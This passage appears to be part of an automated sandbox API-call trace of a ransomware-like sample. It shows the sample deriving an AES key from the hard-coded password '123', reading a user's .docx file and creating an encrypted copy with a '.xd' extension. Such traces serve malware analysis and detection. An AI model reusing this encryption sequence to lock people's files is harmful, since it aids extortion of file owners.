lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.705] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.705] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.705] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.705] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.705] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.705] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.706] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.706] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.706] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa918) returned 1 [0070.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.707] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.707] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.707] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.707] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.707] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.708] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.708] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.708] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.708] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.708] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.708] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.708] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.708] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.708] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.708] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.708] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.708] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.708] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.708] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.708] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.708] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.708] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.710] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.710] CryptCreateHash (in: hProv=0x17aa918, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.710] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.710] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.710] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.712] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.712] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.712] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.712] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.712] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.712] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.713] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621630, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.713] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.713] CryptHashData (hHash=0x164c8b0, pbData=0x1629490, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.713] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.713] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.713] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.713] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.713] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.713] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.713] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.713] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621858, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.714] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.714] CryptDeriveKey (in: hProv=0x17aa918, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0070.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.714] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.714] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.714] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.715] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.715] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0070.715] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.715] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\msrfz.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.715] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.715] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.715] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.716] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\msrfz.docx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.716] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.716] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.716] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.716] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.723] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.723] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x96e4, lpOverlapped=0x0) returned 1 [0070.725] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.729] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.729] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.729] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.729] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.729] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.729] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.729] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.729] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.729] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.729] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.730] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.730] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.730] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x16294d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.730] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.730] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.730] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.730] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.731] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.731] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.731] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.731] PeekMessageW (in: 